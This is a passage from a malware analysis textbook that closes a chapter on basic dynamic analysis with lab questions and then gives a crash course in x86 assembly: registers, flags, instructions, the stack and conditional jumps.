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Figure 3-15: Process Explorer’s examination of an active msts.exe process

6. Review the Wireshark capture for network traffic generated by the mal-
ware. By using INetSim while capturing with Wireshark, we can capture 
the TCP handshake and the initial data packets sent by the malware. The 
contents of the TCP stream sent over port 443, as shown in Figure 3-16, 
shows random ACSII data, which is often indicative of a custom protocol. 
When this happens, your best bet is to run the malware several more 
times to look for any consistency in the initial packets of the connection. 
(The resulting information could be used to draft a network-based signa-
ture, skills that we explore in Chapter 14.)

Figure 3-16: Wireshark showing the custom network protocol

�
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Conclusion

Basic dynamic analysis of malware can assist and confirm your basic static 
analysis findings. Most of the tools described in this chapter are free and easy 
to use, and they provide considerable detail.

However, basic dynamic analysis techniques have their deficiencies, so 
we won’t stop here. For example, to understand the networking component 
in the msts.exe fully, you would need to reverse-engineer the protocol to 
determine how best to continue your analysis. The next step is to perform 
advanced static analysis techniques with disassembly and dissection at the 
binary level, which is discussed in the next chapter.
60 Chapter 3



L A B S
Lab 3-1

Analyze the malware found in the file Lab03-01.exe using basic dynamic analy-
sis tools.

Questions

1. What are this malware’s imports and strings? 

2. What are the malware’s host-based indicators?

3. Are there any useful network-based signatures for this malware? If so, 
what are they?

Lab 3-2

Analyze the malware found in the file Lab03-02.dll using basic dynamic analy-
sis tools.

Questions

1. How can you get this malware to install itself?

2. How would you get this malware to run after installation?

3. How can you find the process under which this malware is running?

4. Which filters could you set in order to use procmon to glean 
information?

5. What are the malware’s host-based indicators?

6. Are there any useful network-based signatures for this malware?

Lab 3-3

Execute the malware found in the file Lab03-03.exe while monitoring it using 
basic dynamic analysis tools in a safe environment.

Questions

1. What do you notice when monitoring this malware with Process 
Explorer?

2. Can you identify any live memory modifications?

3. What are the malware’s host-based indicators?

4. What is the purpose of this program?
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Lab 3-4

Analyze the malware found in the file Lab03-04.exe using basic dynamic analy-
sis tools. (This program is analyzed further in the Chapter 9 labs.)

Questions

1. What happens when you run this file?

2. What is causing the roadblock in dynamic analysis? 

3. Are there other ways to run this program?
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A  C R A S H  C O U R S E  I N  X 8 6  
D I S A S S E M B L Y

As discussed in previous chapters, basic static and 
dynamic malware analysis methods are good for ini-
tial triage, but they do not provide enough informa-
tion to analyze malware completely.

Basic static techniques are like looking at the outside of a body during an 
autopsy. You can use static analysis to draw some preliminary conclusions, 
but more in-depth analysis is required to get the whole story. For example, 
you might find that a particular function is imported, but you won’t know 
how it’s used or whether it’s used at all.

Basic dynamic techniques also have shortcomings. For example, basic 
dynamic analysis can tell you how your subject malware responds when it 
receives a specially designed packet, but you can learn the format of that 
packet only by digging deeper. That’s where disassembly comes in, as you’ll 
learn in this chapter.

Disassembly is a specialized skill that can be daunting to those new to 
programming. But don’t be discouraged; this chapter will give you a basic 
understanding of disassembly to get you off on the right foot.



Levels of Abstraction

In traditional computer architecture, a computer system can be represented 
as several levels of abstraction that create a way of hiding the implementation 
details. For example, you can run the Windows OS on many different types 
of hardware, because the underlying hardware is abstracted from the OS.

Figure 4-1 shows the three coding levels involved in malware analysis. 
Malware authors create programs at the high-level language level and use a 
compiler to generate machine code to be run by the CPU. Conversely, mal-
ware analysts and reverse engineers operate at the low-level language level; 
we use a disassembler to generate assembly code that we can read and ana-
lyze to figure out how a program operates.

Figure 4-1: Code level examples

Figure 4-1 shows a simplified model, but computer systems are generally 
described with the following six different levels of abstraction. We list these 
levels starting from the bottom. Higher levels of abstraction are placed near 
the top with more specific concepts underneath, so the lower you get, the 
less portable the level will be across computer systems.

Hardware The hardware level, the only physical level, consists of elec-
trical circuits that implement complex combinations of logical operators 
such as XOR, AND, OR, and NOT gates, known as digital logic. Because 
of its physical nature, hardware cannot be easily manipulated by software.

Microcode The microcode level is also known as firmware. Microcode 
operates only on the exact circuitry for which it was designed. It contains 
microinstructions that translate from the higher machine-code level to 
provide a way to interface with the hardware. When performing malware 
analysis, we usually don’t worry about the microcode because it is often 
specific to the computer hardware for which it was written.

CPU
Machine Code

Malware Author
High-Level Language

int c;
printf("Hello.\n");
exit(0);

55
8B EC
8B EC 40

Malware Analyst
Low-Level Language

push ebp
move ebp, esp
sub esp, 0x40

Compiler Disassembler
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Machine code The machine code level consists of opcodes, hexadecimal 
digits that tell the processor what you want it to do. Machine code is typi-
cally implemented with several microcode instructions so that the under-
lying hardware can execute the code. Machine code is created when a 
computer program written in a high-level language is compiled.

Low-level languages A low-level language is a human-readable version 
of a computer architecture’s instruction set. The most common low-level 
language is assembly language. Malware analysts operate at the low-level 
languages level because the machine code is too difficult for a human to 
comprehend. We use a disassembler to generate low-level language text, 
which consists of simple mnemonics such as mov and jmp. Many different 
dialects of assembly language exist, and we’ll explore each in turn.

NOTE Assembly is the highest level language that can be reliably and consistently recovered 
from machine code when high-level language source code is not available.

High-level languages Most computer programmers operate at the level 
of high-level languages. High-level languages provide strong abstraction 
from the machine level and make it easy to use programming logic and 
flow-control mechanisms. High-level languages include C, C++, and oth-
ers. These languages are typically turned into machine code by a com-
piler through a process known as compilation.

Interpreted languages Interpreted languages are at the top level. Many 
programmers use interpreted languages such as C#, Perl, .NET, and 
Java. The code at this level is not compiled into machine code; instead, 
it is translated into bytecode. Bytecode is an intermediate representation 
that is specific to the programming language. Bytecode executes within 
an interpreter, which is a program that translates bytecode into executable 
machine code on the fly at runtime. An interpreter provides an auto-
matic level of abstraction when compared to traditional compiled code, 
because it can handle errors and memory management on its own, inde-
pendent of the OS.

Reverse-Engineering

When malware is stored on a disk, it is typically in binary form at the machine 
code level. As discussed, machine code is the form of code that the computer 
can run quickly and efficiently. When we disassemble malware (as shown in 
Figure 4-1), we take the malware binary as input and generate assembly lan-
guage code as output, usually with a disassembler. (Chapter 5 discusses the 
most popular disassembler, IDA Pro.)

Assembly language is actually a class of languages. Each assembly dialect 
is typically used to program a single family of microprocessors, such as x86, 
x64, SPARC, PowerPC, MIPS, and ARM. x86 is by far the most popular archi-
tecture for PCs.
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Most 32-bit personal computers are x86, also known as Intel IA-32, and 
all modern 32-bit versions of Microsoft Windows are designed to run on the 
x86 architecture. Additionally, most AMD64 or Intel 64 architectures running 
Windows support x86 32-bit binaries. For this reason, most malware is com-
piled for x86, which will be our focus throughout this book. (Chapter 21 cov-
ers malware compiled for the Intel 64 architecture.) Here, we’ll focus on the 
x86 architecture aspects that come up most often during malware analysis.

NOTE For additional information about assembly, Randall Hyde’s The Art of Assembly 
Language, 2nd Edition (No Starch Press, 2010) is an excellent resource. Hyde’s book 
offers a patient introduction to x86 assembly for non-assembly programmers.

The x86 Architecture

The internals of most modern computer architectures (including x86) fol-
low the Von Neumann architecture, illustrated in Figure 4-2. It has three 
hardware components:

 The central processing unit (CPU) executes code.

 The main memory of the system (RAM) stores all data and code.

 An input/output system (I/O) interfaces with devices such as hard drives, 
keyboards, and monitors.

Figure 4-2: Von Neumann architecture

As you can see in Figure 4-2, the CPU contains several components: 
The control unit gets instructions to execute from RAM using a register (the 
instruction pointer), which stores the address of the instruction to execute. 
Registers are the CPU’s basic data storage units and are often used to save 
time so that the CPU doesn’t need to access RAM. The arithmetic logic unit 
(ALU) executes an instruction fetched from RAM and places the results in 
registers or memory. The process of fetching and executing instruction after 
instruction is repeated as a program runs.

CPU

Registers

ALU Control 
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Input/Output Devices

Main 
Memory
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Main Memory
The main memory (RAM) for a single program can be divided into the fol-
lowing four major sections, as shown in Figure 4-3.

Figure 4-3: Basic memory layout for a program

Data This term can be used to refer to a specific section of memory 
called the data section, which contains values that are put in place when a 
program is initially loaded. These values are sometimes called static val-
ues because they may not change while the program is running, or they 
may be called global values because they are available to any part of the 
program.

Code Code includes the instructions fetched by the CPU to execute 
the program’s tasks. The code controls what the program does and 
how the program’s tasks will be orchestrated.

Heap The heap is used for dynamic memory during program execution, 
to create (allocate) new values and eliminate (free) values that the pro-
gram no longer needs. The heap is referred to as dynamic memory because 
its contents can change frequently while the program is running.

Stack The stack is used for local variables and parameters for functions, 
and to help control program flow. We will cover the stack in depth later 
in this chapter.

Although the diagram in Figure 4-3 shows the four major sections of 
memory in a particular order, these pieces may be located throughout mem-
ory. For example, there is no guarantee that the stack will be lower than the 
code or vice versa.

Instructions
Instructions are the building blocks of assembly programs. In x86 assembly, 
an instruction is made of a mnemonic and zero or more operands. As shown in 

Main
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Data

High Memory Address

Low Memory Address
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Table 4-1, the mnemonic is a word that identifies the instruction to execute, 
such as mov, which moves data. Operands are typically used to identify infor-
mation used by the instruction, such as registers or data.

Opcodes and Endianness
Each instruction corresponds to opcodes (operation codes) that tell the CPU 
which operation the program wants to perform. This book and other sources 
use the term opcode for the entire machine instruction, although Intel techni-
cally defines it much more narrowly.

Disassemblers translate opcodes into human-readable instructions. For 
example, in Table 4-2, you can see that the opcodes are B9 42 00 00 00 for the 
instruction mov ecx, 0x42. The value 0xB9 corresponds to mov ecx, and 0x42000000 
corresponds to the value 0x42. 

0x42000000 is treated as the value 0x42 because the x86 architecture uses 
the little-endian format. The endianness of data describes whether the most 
significant (big-endian) or least significant (little-endian) byte is ordered 
first (at the smallest address) within a larger data item. Changing between 
endianness is something malware must do during network communication, 
because network data uses big-endian and an x86 program uses little-endian. 
Therefore, the IP address 127.0.0.1 will be represented as 0x7F000001 in big-
endian format (over the network) and 0x0100007F in little-endian format 
(locally in memory). As a malware analyst, you must be cognizant of endian-
ness to ensure you don’t accidentally reverse the order of important indica-
tors like an IP address.

Operands
Operands are used to identify the data used by an instruction. Three types of 
operands can be used:

 Immediate operands are fixed values, such as the 0x42 shown in Table 4-1.

 Register operands refer to registers, such as ecx in Table 4-1.

 Memory address operands refer to a memory address that contains the 
value of interest, typically denoted by a value, register, or equation 
between brackets, such as [eax].

Table 4-1: Instruction Format

Mnemonic Destination operand Source operand

mov ecx 0x42

Table 4-2: Instruction Opcodes

Instruction mov ecx, 0x42

Opcodes B9 42 00 00 00
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Registers
A register is a small amount of data storage available to the CPU, whose con-
tents can be accessed more quickly than storage available elsewhere. x86 pro-
cessors have a collection of registers available for use as temporary storage or 
workspace. Table 4-3 shows the most common x86 registers, which fall into 
the following four categories:

 General registers are used by the CPU during execution.

 Segment registers are used to track sections of memory.

 Status flags are used to make decisions.

 Instruction pointers are used to keep track of the next instruction to execute.

You can use Table 4-3 as a reference throughout this chapter to see how 
a register is categorized and broken down. The sections that follow discuss 
each of these register categories in depth.

All general registers are 32 bits in size and can be referenced as either 
32 or 16 bits in assembly code. For example, EDX is used to reference the 
full 32-bit register, and DX is used to reference the lower 16 bits of the EDX 
register.

Four registers (EAX, EBX, ECX, and EDX) can also be referenced as 8-
bit values using the lowest 8 bits or the second set of 8 bits. For example, AL 
is used to reference the lowest 8 bits of the EAX register, and AH is used to 
reference the second set of 8 bits.

Table 4-3 lists the possible references for each general register. The 
EAX register breakdown is illustrated in Figure 4-4. In this example, the 
32-bit (4-byte) register EAX contains the value 0xA9DC81F5, and code can 
reference the data inside EAX in three additional ways: AX (2 bytes) is 
0x81F5, AL (1 byte) is 0xF5, and AH (1 byte) is 0x81.

General Registers

The general registers typically store data or memory addresses, and are often 
used interchangeably to get things accomplished within the program. How-
ever, despite being called general registers, they aren’t always used that way.

Table 4-3: The x86 Registers

General registers Segment registers Status register Instruction pointer

EAX (AX, AH, AL) CS EFLAGS EIP

EBX (BX, BH, BL) SS

ECX (CX, CH, CL) DS

EDX (DX, DH, DL) ES

EBP (BP) FS

ESP (SP) GS

ESI (SI)
A Crash Course in x86 Disassembly 71



Figure 4-4: x86 EAX register breakdown

Some x86 instructions use specific registers by definition. For example, 
the multiplication and division instructions always use EAX and EDX.

In addition to instruction definitions, general registers can be used in a 
consistent fashion throughout a program. The use of registers in a consistent 
fashion across compiled code is known as a convention. Knowledge of the 
conventions used by compilers allows a malware analyst to examine the 
code more quickly, because time isn’t wasted figuring out the context of 
how a register is being used. For example, the EAX generally contains the 
return value for function calls. Therefore, if you see the EAX register used 
immediately after a function call, you are probably seeing the code manipu-
late the return value.

Flags

The EFLAGS register is a status register. In the x86 architecture, it is 32 bits 
in size, and each bit is a flag. During execution, each flag is either set (1) or 
cleared (0) to control CPU operations or indicate the results of a CPU oper-
ation. The following flags are most important to malware analysis:

ZF The zero flag is set when the result of an operation is equal to zero; 
otherwise, it is cleared.

CF The carry flag is set when the result of an operation is too large or 
too small for the destination operand; otherwise, it is cleared.

SF The sign flag is set when the result of an operation is negative or 
cleared when the result is positive. This flag is also set when the most sig-
nificant bit is set after an arithmetic operation.

TF The trap flag is used for debugging. The x86 processor will execute 
only one instruction at a time if this flag is set.

EAX
1010 1001 1101 1100 1000 0001 1111 0101
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32 bits
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NOTE For details on all available flags, see Volume 1 of the Intel 64 and IA-32 Architec-
tures Software Developer’s Manuals, discussed at the end of this chapter.

EIP, the Instruction Pointer

In x86 architecture, EIP, also known as the instruction pointer or program counter, 
is a register that contains the memory address of the next instruction to be 
executed for a program. EIP’s only purpose is to tell the processor what to 
do next.

NOTE When EIP is corrupted (that is, it points to a memory address that does not contain 
legitimate program code), the CPU will not be able to fetch legitimate code to execute, so 
the program running at the time will likely crash. When you control EIP, you can con-
trol what is executed by the CPU, which is why attackers attempt to gain control of EIP 
through exploitation. Generally, attackers must have attack code in memory and then 
change EIP to point to that code to exploit a system.

Simple Instructions
The simplest and most common instruction is mov, which is used to move data 
from one location to another. In other words, it’s the instruction for reading 
and writing to memory. The mov instruction can move data into registers or 
RAM. The format is mov destination, source. (We use Intel syntax throughout 
the book, which lists the destination operand first.)

Table 4-4 contains examples of the mov instruction. Operands surrounded 
by brackets are treated as memory references to data. For example, [ebx] ref-
erences the data at the memory address EBX. The final example in Table 4-4 
uses an equation to calculate a memory address. This saves space, because it 
does not require separate instructions to perform the calculation contained 
within the brackets. Performing calculations such as this within an instruction 
is not possible unless you are calculating a memory address. For example, 
mov eax, ebx+esi*4 (without the brackets) is an invalid instruction.

Another instruction similar to mov is lea, which means “load effective 
address.” The format of the instruction is lea destination, source. The lea 
instruction is used to put a memory address into the destination. For example, 
lea eax, [ebx+8] will put EBX+8 into EAX. In contrast, mov eax, [ebx+8] loads 

Table 4-4: mov Instruction Examples

Instruction Description

mov eax, ebx Copies the contents of EBX into the EAX register

mov eax, 0x42 Copies the value 0x42 into the EAX register

mov eax, [0x4037C4] Copies the 4 bytes at the memory location 0x4037C4 into the EAX 
register

mov eax, [ebx] Copies the 4 bytes at the memory location specified by the EBX 
register into the EAX register

mov eax, [ebx+esi*4] Copies the 4 bytes at the memory location specified by the result of 
the equation ebx+esi*4 into the EAX register
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the data at the memory address specified by EBX+8. Therefore, lea eax, [ebx+8] 
would be the same as mov eax, ebx+8; however, a mov instruction like that is 
invalid.

Figure 4-5 shows values for registers EAX and EBX on the left and the 
information contained in memory on the right. EBX is set to 0xB30040. At 
address 0xB30048 is the value 0x20. The instruction mov eax, [ebx+8] places 
the value 0x20 (obtained from memory) into EAX, and the instruction lea 
eax, [ebx+8] places the value 0xB30048 into EAX.

Figure 4-5: EBX register used to access memory

The lea instruction is not used exclusively to refer to memory addresses. 
It is useful when calculating values, because it requires fewer instructions. 
For example, it is common to see an instruction such as lea ebx, [eax*5+5], 
where eax is a number, rather than a memory address. This instruction is the 
functional equivalent of ebx = (eax+1)*5, but the former is shorter or more 
efficient for the compiler to use instead of a total of four instructions (for 
example inc eax; mov ecx, 5; mul ecx; mov ebx, eax).

Arithmetic

x86 assembly includes many instructions for arithmetic, ranging from basic 
addition and subtraction to logical operators. We’ll cover the most com-
monly used instructions in this section.

Addition or subtraction adds or subtracts a value from a destination 
operand. The format of the addition instruction is add destination, value. 
The format of the subtraction instruction is sub destination, value. The sub 
instruction modifies two important flags: the zero flag (ZF) and carry flag 
(CF). The ZF is set if the result is zero, and CF is set if the destination is less 
than the value subtracted. The inc and dec instructions increment or decre-
ment a register by one. Table 4-5 shows examples of the addition and sub-
traction instructions.

Table 4-5: Addition and Subtraction Instruction Examples

Instruction Description

sub eax, 0x10 Subtracts 0x10 from EAX

add eax, ebx Adds EBX to EAX and stores the result in EAX

inc edx Increments EDX by 1

dec ecx Decrements ECX by 1

MemoryRegisters

EAX = 0x00000000 0x00000000

0x63676862

0x00000020

0x41414141

0x00B30040

0x00B30044

0x00B30048

0x00B3004C

EBX = 0x00B30040
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Multiplication and division both act on a predefined register, so the 
command is simply the instruction, plus the value that the register will be 
multiplied or divided by. The format of the mul instruction is mul value. Simi-
larly, the format of div instruction is div value. The assignment of the register 
on which a mul or div instruction acts can occur many instructions earlier, so 
you might need to search through a program to find it.

The mul value instruction always multiplies eax by value. Therefore, EAX 
must be set up appropriately before the multiplication occurs. The result is 
stored as a 64-bit value across two registers: EDX and EAX. EDX stores the 
most significant 32 bits of the operations, and EAX stores the least significant 
32 bits. Figure 4-6 depicts the values in EDX and EAX when the decimal result 
of multiplication is 5,000,000,000 and is too large to fit in a single register.

A programmer obtains the remainder of a division operation by using an 
operation known as modulo, which will be compiled into assembly through 
the use of the EDX register after the div instruction (since it contains the 
remainder). Table 4-6 shows examples of the mul and div instructions. The 
instructions imul and idiv are the signed versions of the mul and div instructions.

Logical operators such as OR, AND, and XOR are used in x86 archi-
tecture. The corresponding instructions operate similar to how add and sub 
operate. They perform the specified operation between the source and desti-
nation operands and store the result in the destination. The xor instruction is 
frequently encountered in disassembly. For example, xor eax, eax is a quick 
way to set the EAX register to zero. This is done for optimization, because 
this instruction requires only 2 bytes, whereas mov eax, 0 requires 5 bytes.

The shr and shl instructions are used to shift registers. The format of the 
shr instruction is shr destination, count, and the shl instruction has the same 
format. The shr and shl instructions shift the bits in the destination operand 
to the right and left, respectively, by the number of bits specified in the count 
operand. Bits shifted beyond the destination boundary are first shifted into 
the CF flag. Zero bits are filled in during the shift. For example, if you have the 

The div value instruction does the 
same thing as mul, except in the oppo-
site direction: It divides the 64 bits 
across EDX and EAX by value. There-
fore, the EDX and EAX registers must 
be set up appropriately before the divi-
sion occurs. The result of the division 
operation is stored in EAX, and the 
remainder is stored in EDX.

Figure 4-6: Multiplication result stored 
across EDX and EAX registers

Table 4-6: Multiplication and Division Instruction Examples

Instruction Description

mul 0x50 Multiplies EAX by 0x50 and stores the result in EDX:EAX

div 0x75 Divides EDX:EAX by 0x75 and stores the result in EAX and the remainder in EDX

5,000,000,000

00000001 2A05F200

EDX EAX

Decimal

Hex
A Crash Course in x86 Disassembly 75



binary value 1000 and shift it right by 1, the result is 0100. At the end of the 
shift instruction, the CF flag contains the last bit shifted out of the destina-
tion operand.

The rotation instructions, ror and rol, are similar to the shift instructions, 
except the shifted bits that “fall off” with the shift operation are rotated to 
the other end. In other words, during a right rotation (ror) the least signifi-
cant bits are rotated to the most significant position. Left rotation (rol) is the 
exact opposite. Table 4-7 displays examples of these instructions. 

Shifting is often used in place of multiplication as an optimization. Shift-
ing is simpler and faster than multiplication, because you don’t need to set 
up registers and move data around, as you do for multiplication. The shl eax, 
1 instruction computes the same result as multiplying EAX by two. Shifting to 
the left two bit positions multiplies the operand by four, and shifting to the 
left three bit positions multiplies the operand by eight. Shifting an operand 
to the left n bits multiplies it by 2n.

During malware analysis, if you encounter a function containing only 
the instructions xor, or, and, shl, ror, shr, or rol repeatedly and seemingly ran-
domly, you have probably encountered an encryption or compression func-
tion. Don’t get bogged down trying to analyze each instruction unless you 
really need to do so. Instead, your best bet in most cases is to mark this as an 
encryption routine and move on.

NOP

The final simple instruction, nop, does nothing. When it’s issued, execution 
simply proceeds to the next instruction. The instruction nop is actually a 
pseudonym for xhcg eax, eax, but since exchanging EAX with itself does 
nothing, it is popularly referred to as NOP (no operation).

The opcode for this instruction is 0x90. It is commonly used in a NOP 
sled for buffer overflow attacks, when attackers don’t have perfect control of 
their exploitation. It provides execution padding, which reduces the risk that 
the malicious shellcode will start executing in the middle, and therefore mal-
function. We discuss nop sleds and shellcode in depth in Chapter 19.

Table 4-7: Common Logical and Shifting Arithmetic Instructions

Instruction Description

xor eax, eax Clears the EAX register

or eax, 0x7575 Performs the logical or operation on EAX with 0x7575

mov eax, 0xA
shl eax, 2

Shifts the EAX register to the left 2 bits; these two instructions result in 
EAX = 0x28, because 1010 (0xA in binary) shifted 2 bits left is 
101000 (0x28)

mov bl, 0xA
ror bl, 2

Rotates the BL register to the right 2 bits; these two instructions result in 
BL = 10000010, because 1010 rotated 2 bits right is 10000010
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The Stack
Memory for functions, local variables, and flow control is stored in a stack, 
which is a data structure characterized by pushing and popping. You push 
items onto the stack, and then pop those items off. A stack is a last in, first out 
(LIFO) structure. For example, if you push the numbers 1, 2, and then 3 (in 
order), the first item to pop off will be 3, because it was the last item pushed 
onto the stack.

The x86 architecture has built-in support for a stack mechanism. The 
register support includes the ESP and EBP registers. ESP is the stack pointer 
and typically contains a memory address that points to the top of stack. The 
value of this register changes as items are pushed on and popped off the stack. 
EBP is the base pointer that stays consistent within a given function, so that 
the program can use it as a placeholder to keep track of the location of local 
variables and parameters.

The stack instructions include push, pop, call, leave, enter, and ret. The 
stack is allocated in a top-down format in memory, and the highest addresses 
are allocated and used first. As values are pushed onto the stack, smaller 
addresses are used (this is illustrated a bit later in Figure 4-7).

The stack is used for short-term storage only. It frequently stores local 
variables, parameters, and the return address. Its primary usage is for the 
management of data exchanged between function calls. The implementa-
tion of this management varies among compilers, but the most common con-
vention is for local variables and parameters to be referenced relative to EBP.

Function Calls

Functions are portions of code within a program that perform a specific task 
and that are relatively independent of the remaining code. The main code 
calls and temporarily transfers execution to functions before returning to the 
main code. How the stack is utilized by a program is consistent throughout a 
given binary. For now, we will focus on the most common convention, known 
as cdecl. In Chapter 6 we will explore alternatives.

Many functions contain a prologue—a few lines of code at the start of 
the function. The prologue prepares the stack and registers for use within the 
function. In the same vein, an epilogue at the end of a function restores the 
stack and registers to their state before the function was called.

The following list summarizes the flow of the most common implementa-
tion for function calls. A bit later, Figure 4-8 shows a diagram of the stack lay-
out for an individual stack frame, which clarifies the organization of stacks.

1. Arguments are placed on the stack using push instructions.

2. A function is called using call memory_location. This causes the current 
instruction address (that is, the contents of the EIP register) to be 
pushed onto the stack. This address will be used to return to the main 
code when the function is finished. When the function begins, EIP is set 
to memory_location (the start of the function).
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3. Through the use of a function prologue, space is allocated on the stack 
for local variables and EBP (the base pointer) is pushed onto the stack. 
This is done to save EBP for the calling function.

4. The function performs its work.

5. Through the use of a function epilogue, the stack is restored. ESP is 
adjusted to free the local variables, and EBP is restored so that the call-
ing function can address its variables properly. The leave instruction can 
be used as an epilogue because it sets ESP to equal EBP and pops EBP off 
the stack.

6. The function returns by calling the ret instruction. This pops the return 
address off the stack and into EIP, so that the program will continue exe-
cuting from where the original call was made.

7. The stack is adjusted to remove the arguments that were sent, unless 
they’ll be used again later.

Stack Layout

As discussed, the stack is allocated in a top-down fashion, with the higher 
memory addresses used first. Figure 4-7 shows how the stack is laid out in 
memory. Each time a call is performed, a new stack frame is generated. A 
function maintains its own stack frame until it returns, at which time the 
caller’s stack frame is restored and execution is transferred back to the call-
ing function.

Figure 4-7: x86 stack layout

Figure 4-8 shows a dissection of one of the individual stack frames from 
Figure 4-7. The memory locations of individual items are also displayed. In 
this diagram, ESP would point to the top of the stack, which is the memory 
address 0x12F02C. EBP would be set to 0x12F03C throughout the duration 
of the function, so that the local variables and arguments can be referenced 
using EBP. The arguments that are pushed onto the stack before the call are 

Low Memory Address

Current Stack Frame

Caller’s Stack Frame

Caller’s Caller’s Stack Frame

High Memory Address

The stack grows
up toward 0
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shown at the bottom of the stack frame. Next, it contains the return address 
that is put on the stack automatically by the call instruction. The old EBP is 
next on the stack; this is the EBP from the caller’s stack frame.

When information is pushed onto the stack, ESP will be decreased. In 
the example in Figure 4-8, if the instruction push eax were executed, ESP 
would be decremented by four and would contain 0x12F028, and the data 
contained in EAX would be copied to 0x12F028. If the instruction pop ebx 
were executed, the data at 0x12F028 would be moved into the EBX register, 
and then ESP would be incremented by four.

Figure 4-8: Individual stack frame

It is possible to read data from the stack without using the push or pop 
instructions. For example, the instruction mov eax, ss:[esp] will directly access 
the top of the stack. This is identical to pop eax, except the ESP register is not 
impacted. The convention used depends on the compiler and how the com-
piler is configured. (We discuss this in more detail in Chapter 6.)

The x86 architecture provides additional instructions for popping and 
pushing, the most popular of which are pusha and pushad. These instructions 
push all the registers onto the stack and are commonly used with popa and 
popad, which pop all the registers off the stack. The pusha and pushad functions 
operate as follows:

 pusha pushes the 16-bit registers on the stack in the following order: AX, 
CX, DX, BX, SP, BP, SI, DI.

 pushad pushes the 32-bit registers on the stack in the following order: 
EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI.

Low Memory Address

Current Stack Frame

Caller’s Stack Frame

Caller’s Caller’s Stack Frame

High Memory Address

0012F000
0012F004
0012F008
0012F00C
0012F010
0012F014
0012F018
0012F01C
0012F020
0012F024
0012F028
0012F02C
0012F030
0012F034
0012F038
0012F03C
0012F040
0012F044
0012F048
0012F04C
0012F050

Local Variable N

Local Variable 2
Local Variable 1

Old EBP
Return Address

Argument 1
Argument 2

...

...
Argument N

ESP

EBP
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These instructions are typically encountered in shellcode when someone 
wants to save the current state of the registers to the stack so that they can be 
restored at a later time. Compilers rarely use these instructions, so seeing 
them often indicates someone hand-coded assembly and/or shellcode.

Conditionals
All programming languages have the ability to make comparisons and make 
decisions based on those comparisons. Conditionals are instructions that per-
form the comparison.

The two most popular conditional instructions are test and cmp. The test 
instruction is identical to the and instruction; however, the operands involved 
are not modified by the instruction. The test instruction only sets the flags. 
The zero flag (ZF) is typically the flag of interest after the test instruction. A 
test of something against itself is often used to check for NULL values. An 
example of this is test eax, eax. You could also compare EAX to zero, but 
test eax, eax uses fewer bytes and fewer CPU cycles.

The cmp instruction is identical to the sub instruction; however, the oper-
ands are not affected. The cmp instruction is used only to set the flags. The 
zero flag and carry flag (CF) may be changed as a result of the cmp instruc-
tion. Table 4-8 shows how the cmp instruction impacts the flags.

Branching
A branch is a sequence of code that is conditionally executed depending on 
the flow of the program. The term branching is used to describe the control 
flow through the branches of a program.

The most popular way branching occurs is with jump instructions. An 
extensive set of jump instructions is used, of which the jmp instruction is the 
simplest. The format jmp location causes the next instruction executed to be 
the one specified by the jmp. This is known as an unconditional jump, because 
execution will always transfer to the target location. This simple jump will not 
satisfy all of your branching needs. For example, the logical equivalent to an 
if statement isn’t possible with a jmp. There is no if statement in assembly 
code. This is where conditional jumps come in.

Conditional jumps use the flags to determine whether to jump or to 
proceed to the next instruction. More than 30 different types of conditional 
jumps can be used, but only a small set of them is commonly encountered. 

Table 4-8: cmp Instruction and Flags

cmp dst, src ZF CF

dst = src 1 0

dst < src 0 1

dst > src 0 0
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Table 4-9 shows the most common conditional jump instructions and details 
of how they operate. Jcc is the shorthand for generally describing conditional 
jumps.

Rep Instructions
Rep instructions are a set of instructions for manipulating data buffers. They 
are usually in the form of an array of bytes, but they can also be single or 
double words. We will focus on arrays of bytes in this section. (Intel refers 
to these instructions as string instructions, but we won’t use this term to avoid 
confusion with the strings we discussed in Chapter 1.)

The most common data buffer manipulation instructions are movsx, 
cmpsx, stosx, and scasx, where x = b, w, or d for byte, word, or double word, 
respectively. These instructions work with any type of data, but our focus in 
this section will be bytes, so we will use movsb, cmpsb, and so on.

The ESI and EDI registers are used in these operations. ESI is the source 
index register, and EDI is the destination index register. ECX is used as the 
counting variable.

These instructions require a prefix to operate on data lengths greater 
than 1. The movsb instruction will move only a single byte and does not utilize 
the ECX register.

Table 4-9: Conditional Jumps

Instruction Description

jz loc Jump to specified location if ZF = 1.

jnz loc Jump to specified location if ZF = 0.

je loc Same as jz, but commonly used after a cmp instruction. Jump will occur if the 
destination operand equals the source operand.

jne loc Same as jnz, but commonly used after a cmp. Jump will occur if the destination 
operand is not equal to the source operand.

jg loc Performs signed comparison jump after a cmp if the destination operand is 
greater than the source operand.

jge loc Performs signed comparison jump after a cmp if the destination operand is 
greater than or equal to the source operand.

ja loc Same as jg, but an unsigned comparison is performed.

jae loc Same as jge, but an unsigned comparison is performed.

jl loc Performs signed comparison jump after a cmp if the destination operand is less 
than the source operand.

jle loc Performs signed comparison jump after a cmp if the destination operand is less 
than or equal to the source operand.

jb loc Same as jl, but an unsigned comparison is performed.

jbe loc Same as jle, but an unsigned comparison is performed.

jo loc Jump if the previous instruction set the overflow flag (OF = 1).

js loc Jump if the sign flag is set (SF = 1).

jecxz loc Jump to location if ECX = 0.
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In x86, the repeat prefixes are used for multibyte operations. The rep 
instruction increments the ESI and EDI offsets, and decrements the ECX 
register. The rep prefix will continue until ECX = 0. The repe/repz and repne/
repnz prefixes will continue until ECX = 0 or until the ZF = 1 or 0. This is illus-
trated in Table 4-10. Therefore, in most data buffer manipulation instruc-
tions, ESI, EDI, and ECX must be properly initialized for the rep instruction 
to be useful.

The movsb instruction is used to move a sequence of bytes from one 
location to another. The rep prefix is commonly used with movsb to copy a 
sequence of bytes, with size defined by ECX. The rep movsb instruction is the 
logical equivalent of the C memcpy function. The movsb instruction grabs the byte 
at address ESI, stores it at address EDI, and then increments or decrements the 
ESI and EDI registers by one according to the setting of the direction flag (DF). 
If DF = 0, they are incremented; otherwise, they are decremented.

You rarely see this in compiled C code, but in shellcode, people will 
sometimes flip the direction flag so they can store data in the reverse direc-
tion. If the rep prefix is present, the ECX is checked to see if it contains zero. 
If not, then the instruction moves the byte from ESI to EDI and decrements 
the ECX register. This process repeats until ECX = 0.

The cmpsb instruction is used to compare two sequences of bytes to deter-
mine whether they contain the same data. The cmpsb instruction subtracts the 
value at location EDI from the value at ESI and updates the flags. It is typi-
cally used with the repe prefix. When coupled with the repe prefix, the cmpsb 
instruction compares each byte of the two sequences until it finds a differ-
ence between the sequences or reaches the end of the comparison. The cmpsb 
instruction obtains the byte at address ESI, compares the value at location 
EDI to set the flags, and then increments the ESI and EDI registers by one. If 
the repe prefix is present, ECX is checked and the flags are also checked, but 
